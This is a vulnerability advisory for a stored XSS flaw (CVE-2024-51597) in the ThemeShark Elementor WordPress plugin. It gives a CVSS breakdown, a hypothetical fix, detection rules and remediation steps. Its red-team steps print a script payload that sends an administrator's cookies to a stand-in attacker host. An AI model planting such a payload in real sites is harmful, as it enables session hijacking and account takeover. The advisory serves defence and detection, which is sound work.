CVE-2024-51597

Executive Summary

CVE-2024-51597 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "ThemeShark Templates & Widgets for Elementor" (themeshark-elementor), developed by Brandevolutionco. The vulnerability affects all versions up to and including 1.1.7. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into the plugin's templates or widgets. When an administrator or other user views the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 score is 6.5 (Medium), with a vector emphasizing low attack complexity, required privileges, and user interaction. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must view the compromised page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can persist and affect multiple users, including administrators.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the themeshark-elementor plugin. The plugin likely fails to sanitize or escape data when rendering Elementor widgets or templates. An attacker with contributor-level access can inject malicious JavaScript into fields such as widget titles, descriptions, or custom CSS. When the page is loaded by another user (including admins), the injected script executes in the context of the victim's session.

Root Cause: The plugin does not apply WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()) to user-controllable output within Elementor templates.

Attack Flow:

1. Attacker logs in with contributor privileges.
2. Attacker creates or edits an Elementor template/widget.
3. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable field.
4. The payload is stored in the database.
5. Administrator or other user views the page containing the template.
6. The script executes, performing actions like stealing cookies or redirecting to a malicious site.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (PHP):

// In a widget render method
echo $settings['widget_title']; // No escaping

Patched Code (Hypothetical):

// In a widget render method
echo esc_html( $settings['widget_title'] ); // Properly escaped

Explanation: The vulnerable code directly outputs user input without sanitization. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with themeshark-elementor <= 1.1.7 installed.
• Contributor-level account credentials.

Steps:

1. Log in as a contributor.
2. Navigate to Elementor > Templates.
3. Create a new template (e.g., "Single Post").
4. Add a vulnerable widget (e.g., "Heading" or "Text").
5. In the widget's title field, inject the payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

6. Save and publish the template.
7. Wait for an administrator to view the page.

Expected Outcome: The admin's session cookie is exfiltrated to the attacker's server.

Blue Team

Detection:

• Monitor for unusual JavaScript in Elementor template fields.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review user activity logs for suspicious template edits.

Hunting:

• Search the database for <script> tags in wp_postmeta where meta_key contains _elementor_data.
• Query: SELECT * FROM wp_postmeta WHERE meta_key LIKE '%_elementor_data%' AND meta_value LIKE '%<script>%';

Indicators of Compromise (IOCs)

• File Indicators:
  • Modified plugin files in /wp-content/plugins/themeshark-elementor/
  • Suspicious JavaScript in database wp_postmeta entries.
• Network Indicators:
  • Outbound HTTP requests to unknown domains containing cookie data.
  • Referer headers from WordPress admin pages.
• Behavioral Indicators:
  • Unauthorized template edits by low-privilege users.
  • Unexpected redirects or pop-ups in admin dashboard.

Detection Engineering

YARA Rule

rule wordpress_themeshark_xss {
    meta:
        description = "Detects stored XSS payloads in ThemeShark Elementor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51597"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "themeshark-elementor"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in ThemeShark Elementor Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via Elementor template fields
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "elementor"
        http.body|contains: "<script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in templates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51597 Stored XSS in ThemeShark Elementor"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"elementor"; http_client_body; content:"<script>"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict contributor roles to trusted users only.
3. Implement Content Security Policy (CSP) headers to block inline scripts.

Long-term Fix:

• Monitor the plugin's official page for updates.
• Apply the patch as soon as it becomes available.
• Consider replacing the plugin with a more secure alternative.

Workaround:

• Use a WAF to filter XSS payloads in POST requests to admin-ajax.php.
• Manually audit and sanitize all Elementor template data in the database.

Valters IT